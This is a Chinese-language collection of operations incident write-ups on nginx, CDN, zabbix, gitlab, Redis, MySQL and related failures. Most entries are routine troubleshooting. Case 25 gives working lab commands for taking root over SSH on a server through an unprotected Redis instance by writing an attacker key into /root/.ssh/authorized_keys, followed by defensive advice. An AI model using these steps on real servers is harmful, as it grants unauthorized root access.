故障案例

故障案例一、NFS故障，造成系统cpu使用率低而负载极高。

故障概述:

公司使用NFS为web节点提供共享存储服务,某一天下午发现web节点CPU使用率低,而负载极高.登录web节点服务器排查发现后段NFS服务器故障.

影响范围:

网站看不到图片了。

处理流程:

通过ssh登录NFS服务器重启NFS服务

结果:

所有节点恢复正常。

https://www.jianshu.com/p/347afe9ba9ee

故障案例二、首页访问速度时快时慢。.hk的域名网站业务，站点测试正常但是出现用户反映站点打开不稳定。

故障概述:

某天收到用户反应公司业务首页访问速度时快时慢,公司用的.hk的域名,站点测试正常但用户反应站点打开不稳定.

影响范围：

中国大陆内地用户

处理流程：

经过排查发现因为hk域名无法在中国备案，所以在香港地区购买的SLB，但ECS在内陆地区，于是出现测试正常使用时却出现站点时而不稳定的情况。通过跟云主机厂商的沟通后采取了拉一条从香港SLB到内陆ECS的专线以确保网络的稳定。

结果：

用户在访问时流量到达香港主机后，香港主机通过专线将流量分发到内地ECS主机集群，然后内地ECS主机集群处理完用户请求后，通过专线直接将数据发送给用户，缩减用户请求数据的延时。

故障案例三、将阿里云的域名迁移至万国数据中心，重新备案后所有子域名https都失效。[忘记替换]

故障概述：

将阿里云的域名迁移至万国数据中心，重新备案后所有子域名https都失效了。

影响范围：

全部ECS实例

处理流程：

1.重新备案已完成，但网站所有二级域名https都失效，造成业务瘫痪。

2.首先认为是CA证书厂商问题，询问无果。

3.通过排查发现失效的域名都是CDN域名

结果:

后来与CDN厂商进行沟通得知，由于域名重新备案后存在缓存，需要刷新CDN缓存，否则域名重新备案后无法快速的恢复到https的状态。

故障案例四、网站部分图片访问成功，部分图片访问出现404?

故障概述:

团队伙伴反应网站上的图片，有的可以显示有的不可以显示报404

影响范围:

网站某些图片

处理流程:

1.分析404一般是没有文件才出现的，于是直接上nginx服务器上查看，检查路径下是否有相应的文件，文件是存在的。

2.检查nginx错误日志，找不到这个错误记录。

3.测试访问其他图片，发现出错的图片都是以pc开头的，其他大部分正常。

4.检查nignx反向代理节点配置，发现其中一个location匹配的规则如下:

```
location ~ /(pc|hera_insure) {
        proxy_pass http://
```

```
10.137.146.93:80;
                proxy_set_header Host
$host:$server_port;
                proxy_set_header
Remote_Addr $remote_addr;
                proxy_set_header X-Real-
IP $remote_addr;
                proxy_set_header X-
Forwarded-For $proxy_add_x_forwarded_for;
                proxy_intercept_errors
on;
        }
```

5.修改配置匹配规则为：

```
location ~ ^/(pc|hera_insure) ...
```

结果：

在nginx中有这么一个规则，location后面~的优先级高于什么都不写的模式（局部匹配），即location ~ /(pc|hera_insure) 这个匹配规则优先级高于 location /uploadfiles这个规则。我们期望URL中以/uploadfiles起始的请求都进入到 location /uploadfiles规则， 以/pc开头或者/hera_insure开头的url请求都进入到location ~ /(pc|hera_insure)规则。

https://www.cnblogs.com/shihuc/p/6374551.html

故障案例五、网站经过多级CDN转发，请求至源站，但源站无法通过X-Forward-for获取客户端真实IP地址。

[realip模块]

故障概述:

网站经过多级CDN转发，请求至源站，但源站无法通过X-Forward-for获取客户端真实IP地址。

影响范围:

用户访问网站无法获取客户端真实IP。

处理流程:

一般我们会在Nginx之前的代理服务器中把请求的原始来源地址编码进某个特殊的HTTP请求头中，然后再在Nginx中把这个请求头中编码的地址恢复出来。这样Nginx中的后续处理阶段(包括Nginx背后的各种后端应用)就会认为这些请求直接来自那些原始的地址，代理服务器就仿佛不存在一样。ngx_realip模块正是用来处理这个需求的。

结果:

配置好之后realip模块会将用户的真实IP获取到，解决了无法获取客户端真实IP的问题。

故障案例六、Nginx错误日志出现大量499。

从前往后排查，发现JAVA中有无法连接数据库错误提示，检查mysql配置，发现max_connctions

参数只有200，最后调整该参数，业务恢复正常。

故障概述:

某天检查Nginx服务器时发现错误日志里大量出现499错误。

影响范围:

Nginx服务器的应用程序无法连接数据库。

处理流程:

从前往后排查，发现JAVA中有无法连接数据库错误提示，检查mysql配置，发现max_connctions参数只有200，最后调整该参数。

结果:

调整了之后发现错误日志没有出现499的情况，恢复正常。

聊天记录：http://cdn.xuliangwei.com/15819383186861.jpg

故障案例七、Nginx配置https出现ERR_SSL_PROTOCOL_ERROR?

```
listen 443 ssl;  #没有添加ssl
```

故障概述:

公司部署了SSL证书服务，但是访问网站时出现ERR_SSL_PROTOCOL_ERROR报错。

影响范围:

出现这个问题，核心原因是配置没

有开启SSL模块。

处理流程:

登录Nginx服务器修改配置文件，将listen 443;改为listen 443 ssl;，然后重启Nginx服务。

结果:

配置好后重启服务恢复正常。

聊天记录：http://cdn.xuliangwei.com/15819387546146.jpg

故障案例八、Nginx配置前端四层负载，代理至后端七层，由七层代理后端app程序，无法获取真实客户端IP。

故障概述:

由于公司架构原因，用户访问前端的四层负载均衡，四层负载将请求代理到七层负载均衡，由七层负载均衡代理到后端的app程序，导致后端app程序无法获取客户端的真实IP地址。

影响范围:

后端app程序无法获取客户端的真实地址。

处理流程:

结果:

故障案例九、Nginx出现大量的closed keepalive connection，而其他节点主机没有出现。

问题：因为两台服务器配置文件不一致，有一台开启了日志使用的是info级别

故障概述：

某天发现公司其中一台Nginx服务器日志里出现了大量的closed keepalive connection信息，但是其他节点的日志里没有出现。

影响范围：

导致Nginx日志不一致。

处理流程：

检查Nginx配置发现Nginx节点配置文件不一致，有一台开启的日志使用的是info级别。

结果：

将配置文件日志级别配置改为和其他节点一致后恢复正常。

故障案例十、Nginx IP_hash进行会话保持，但通过内网访问发现无论哪台主机，调度的都是同一台后端节点?

故障概述：

我们测试发现使用内网访问Nginx负载，负载开启了IP_hash进行会话保持，导致无论哪台主机访问都是调度到同一后端节点。

影响范围：

造成后端某一节点压力过高，但其

他节点几乎没有压力。

处理流程:

1.关闭负载的IP_hash

2.搭建一个redis，将会话使用redis进行保持

结果:

使用redis进行会话保持后，负载将请求均匀的调度到后端节点。

故障案例十一、将原本物理环境的LNMP架构迁移至阿里云，与物理机相同配置，但就是iowait特别高。

故障概述:

将原本物理环境的LNMP架构迁移至阿里云，与物理机相同配置，但就是iowait特别高。

影响范围:

所有上云的机器运行缓慢。

处理流程:

经过测试发现，阿里云的高效云盘就是一推普通的SATA组成的，100MB/s，但是：物理机使用的是SAS盘，测试发现能够达到 400MB/s，使用的测试命令是 hdparam。

结果:

将阿里云的高效云盘，替换阿里云的SSD云盘、测试发现能够达到 400MB/s，至此iowait降了下来。

————————————————————
故障案例十二、zabbix出现Out Of Memory，将原本2G内存加到8G还是Out Of Memory。
CacheSize=4G

故障概述:

公司zabbix服务在添加了一个模版后故障了，我们紧急重启服务时发现重启不了，通过检查zabbix日志发现zabbix报出了Out Of Memory的错误。

影响范围:

zabbix无法启动，监控服务无法正常使用。

处理流程:

首先我们进行了重启服务，发现重启不了，然后通过查看日志，分析后发现出现了Out Of Memory的错误。我们又将服务器内存由原来的2G加到8G后重启服务，发现还是OOM的错误。然后通过排查zabbix配置文件发现zabbix的缓存参数CacheSize=8M，CacheSize用于存储主机、项和触发器数据的共享内存大小，显然8M不够，我们将此参数调整为 CacheSize=2G 然后重启服务。

结果:

服务可以正常启动，并且添加模板之后，一切正常，指标也能显示。

建议:

在使用一些较大模板（包含很多自动发现规则）时，建议调高zabbix-server的cachesize缓存。

聊天记录：http://cdn.xuliangwei.com/15819390614174.jpg

故障案例十三、gitlab迁移故障：将独立的git服务器迁移至负载均衡后面，有负载均衡调度，发现无法通过ssh协议提交代码，而http协议则可以?

故障概述:

公司要求将独立的公网git服务器迁移至负载均衡后面，通过负载均衡进行调度访问。迁移后发现无法通过ssh协议提交代码，而http协议可以正常提交代码。

影响范围:

开发无法通过ssh协议提交代码。

处理流程:

由于ssh协议访问的是22端口，我们将git服务器迁移到负载均衡后方时通过ssh协议访问的是负载均衡的22端口，但通过排查负载均衡配置后发现负载均衡并没有将外网22端口配置转发到后端git服务器22端口上。我们将配置文件更改后将负载的外网22端口转发到git服务器的22端口。

结果:

通过测试发现通过ssh协议也可以提交代码了。

聊天记录:

故障案例十四、gitlab迁移sIb

故障概述

1.早起gitlab版本较低,且单点云服务器直接对外提供服务,后来架构改变,需要将gitlab迁移至反向代理(ECS自建)后端服务器并顺带进行版本升级。

2.gitlab迁移后,通过反向代理可正常访问gitlab网页并且登陆正常,进行ssh拉取代码测试发现无法连通, http拉取方式正常

影响范围

开发部门无法正常提交代码

处理流程

1.查看nginx反向代理，发现只做了七层代理没有做四层代理

2.通过修改nginx配置文件将22端口进行转发后端gitlab服务器故障解决。

3.gitlab通过pull clone代码成功后,进行修改发现无法push到gitlab服务器,原因在gitlab用户添加ssh秘钥时主机名和测试主机名不一致,客户端重新生成密钥对,将之添加故障解决。

结果

gitlab可以正常访问，ssh、http拉取均恢复正常，push 也恢复正常

故障案例十六、Harbor镜像仓库上传镜像时报错。

故障概述

Harbor仓库搭建好了，按照提示上传镜像时报错。

影响范围

无法上传镜像。

处理流程

1.去百度查询问题。

2.在Harbor上创建用户，让开发登录账号，通过验证，dockerlogin。

3.重新推送镜像测试。

结果

可以正常上传镜像，不论上传还是下载镜像都是需要用户验证，没有做验证自然无法上传，下载镜像。

故障案例十七、jenkins编译项目git拉取仓库无权限

故障概述

IOS开发人员使用jenkins在苹果服务器上编译APP，调用git拉取仓库代码提示无权限，开发人员在测试环境3天调整未果，即将发版，耽误发版，直接罚钱！！！

影响范围

耽误iOS版本的发布

处理流程

1.找到权限限制问题，配置权限，

编译IOS项目通过。

2.手动在苹果服务器上拉取仓库，提示无权限手动配置苹果服务器公钥加入git仓库用户下，拉取仓库，提示“登录仓库的用户为xxx，.....Phabricator.....”百度Phabricator，此程序负责仓库权限管理

3.联系管理员检查xxx用户是否有IOS项目权限，发现没有，为xxx用户增加项目权限

结果

增加项目权限后，拉取仓库代码成功，编译通过。

原因分析

因为IOS项目人员交接，未进行此部分信息更新，导致新的开发人员没有权限拉取仓库代码。

故障案例十八、首页访问速度时快时慢

故障概述

公司首页访问速度问题，在app,IOS,浏览器上都有出现过，而且不定期出现。

影响范围

大量用户反映访问速度慢，导致用户体验度下降

处理流程

1.按照用户浏览网站顺序，进行逐一排除。

2.检查全国DNS服务器内公司域名的解析IP是否正常，发现部分地区的DNS解析IP异常，检查异常IP是否能正常访问网站，输入浏览器访问，发现访问失败，联系负责域名管理的同事，确认F5上配置了域名解析，遗留的IP未删除，造成此问题，删除即可。

结果

删除遗留IP之后，公司首页访问速度明显提升

原因分析

人员交接时，未及时移除不用的IP造成解析有时正确有时错误，导致用户访问速度问题。

故障案例十九、ssh连接kvm失败

故障概述

此kvm运行一段时间后，ssh就不能登录了。

影响范围

导致大量资源消耗

处理流程

1.排查问题原因，明确是系统资源不足还是服务异常。

2.分析系统日志messages,secure,cron，发现每天凌晨root用户大量登录，但未释放，导致内存大量资源消耗，最终ssh登录失败。

结果

与开发人员协调，但未收到响应，故先通过重启解决。

故障案例二十、Centos7无法访问特定IP的端口服务

故障概述

1. 此次问题服务器之间网络访问都为内网访问

2. 从库vip 10.8.1.252，主库vip 10.8.1.253，10.8.1.7可以访问主库，无法访问从库

3. 从库连接使用的A记录，ping可以通，telent a记录或者vip都不通，直接被拒绝。被拒绝的速度非常快，看上去都没有尝试超时时间

影响范围

公司的有些业务无法正常维护

处理流程

1. 通过telnet和ping的检测，防火墙和selinux都为关闭状态，查看是否存在deny.host也没有

2. 可以排除是数据库权限的问题，主库从库用户都一样

3. 排除其他可能后查看网卡配置文件

4. 有PEERDNS="no"这么个参数，它的作用是让 /etc/resolv.conf 在系统重启后

不会被重写，C6之后基本都通过网卡配置文件来修改dns指向，这个配置应该是老运维添加的，先将其注释

结果

注释后重启network服务，访问正常。还有一种可能是开启了NetworkManager服务

故障案例二十一、 服务器假死

故障概述

测试环境下某台节点服务器出现了能ping通，但是ssh登录不上，任何其他操作也都没有反应，包括上面部署的nginx也打不开。

影响范围

运维人员通过ssh远程登录方式连接不上服务器。

处理流程

通过连接显示器直接登录服务器，使用nice将sshd的进程优先级调高，这样系统内存吃紧，还是能勉强登录sshd进行调试的。

结果

再通过ssh登录可以成功登录调试。

故障案例二十二、 crond误删除

故障概述

某天通过远程连接方式登录一台服务器执行了crontab命令，然后按了Ctrl+D，再查看时发现所有的crontab任务都没有了。

影响范围

定时任务无法正常执行。

处理流程

crontab有运行日志，在日志里面可以找到执行过的历史命令，前提是要有root权限。通过一段命令筛选出命令执行的日志，然后根据执行时间以及执行的命令进行恢复。

结果

crontab恢复完成，定时任务恢复正常。

故障案例二十三、 通过rm命令删除文件，但空间没有释放

故障概述

某天接到一个求助，用rm命令删除了一个文件，但是通过df -h查看文件所在的空间并没有释放出来。

影响范围

删除文件后依然占用存储空间。

处理流程

首先判断有进程占用此文件，导致rm删掉的只是一个名字，进程还在持续向文件里读取写入数据，所以导致空间不能释放掉。

结果

重启相关程序后进程重新启动，占用的空间马上就释放掉了。

故障案例二十四、ES出现CPU爆满

http://cdn.xuliangwei.com/ES-CPU-ERROR.pdf

故障案例二十五、利用Redis远程入侵Linux

前提条件：

1.redis以root用户运行

2.redis允许远程登陆

3.redis没有设置密码或者密码简单

入侵原理：

1.本质是利用了redis的热更新配置，可以动态的设置数据持久化的路径和持久化文件名称

2.首先攻击者可以远程登陆redis，然后将攻击者的ssh公钥当作一个key存入redis里

3.利用动态修改配置，将持久化目录保存成/root/.ssh

4.利用动态修改配置,将持久化文件名更改为authorized_keys

5.执行数据保存命令，这样就会在生成/root/,ssh/

authorized_keys文件
6.而这个文件里包含了攻击者的密钥，所以此时攻击者可以免密登陆远程的服务器了

实验步骤：

```
# 1.生成密钥
[root@db02 ~/.ssh]# ssh-keygen
# 2.将密钥保存成文件
[root@db02 ~]# (echo -e "\n";cat /
root/.ssh/id_rsa.pub ;echo -e "\n") >
ssh_key
# 3.将密钥写入redis
[root@db02 ~]# cat ssh_key |redis-cli -h
10.0.0.51 -x set ssh_key
OK

# 4.登陆redis动态修改配置并保存
[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename
authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started

# 5.被攻击的机器查看是否生成文件
[root@db01 ~]# cat .ssh/authorized_keys

# 6.入侵者查看是否可以登陆
[root@db02 ~]# ssh 10.0.0.51
```

Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#　　此时可以发现，已经可以免密登陆了。

7.如何防范

1.以普通用户启动redis,这样就没有办法在/root/目录下创建数据

2.设置复杂的密码

3.不要监听所有端口，只监听内网地址

4.禁用动态修改配置的命令和危险命令

5.做好监控和数据备份

故障案例二十六　企业故障恢复案例

背景环境：正在运行的网站系统，mysql-5.7.20 数据库，数据量50G，日业务增量1-5M。
备份策略：每天23:00点，计划任务调用mysqldump执行全备脚本
故障时间点：年底故障演练:模拟周三上午10点误删除数据库，并进行恢复.
思路:

1、停业务，避免数据的二次伤害

2、找一个临时库，恢复周三23：00全备

3、截取周二23：00　---　周三10点误删除

之间的binlog，恢复到临时库

4、测试可用性和完整性

5、

5.1 方法一：直接使用临时库顶替原生产库，前端应用割接到新库

5.2 方法二：将误删除的表导出，导入到原生产库

6、开启业务

处理结果：经过20分钟的处理，最终业务恢复正常

#

故障案例二十七　Redis生产故障处理

问题描述：公司活动优惠券过期仍可使用

排查过程：

1.Redis查看优惠券对应的key发现TTL值发生变化

2.联系开发查看是否对优惠券对应的key进行重新赋值，覆盖掉了原来的值。

3.经开发确认确实由于后期对key进行了覆盖，导致原来的TTL无效

解决方案：

1.要求开发将关键值进行提交

2.添加自定义监控项，一旦发现提交的key的TTL值发生了异常就报警

————————————————————
故障案例二十八　Redis集群内存故障处理
故障描述：redis-cluster某个分片内存飙升，明显比其他分片高，而且还在增长，并且主从内存使用不一致
排查过程：
1.排查时主从复制无故障，较大的键值也不存在
2.查看redis的info信息，发现client_longest_output_list数据异常
3.分析原因应该是输出缓冲区占用内存较大，也就是有大量的数据从Redis服务器向某些客户端输出
4.使用client list命令redis-cli -h host -p port client list | grep -v "omem=0"，来查询输出缓冲区不为0的客户端连接，查询到monitor
处理办法：
1.进行主从切换，继续观察新的master是否有异常，通过观察未出现异常
2.查找到真正的原因是monitor，关闭掉monitor的后，内存很快就降下来了
3.将monitor命令进行重命名，避免再次错误操作启动monitor进程
4.增加监控项，一旦发现monitor异常运行及时关闭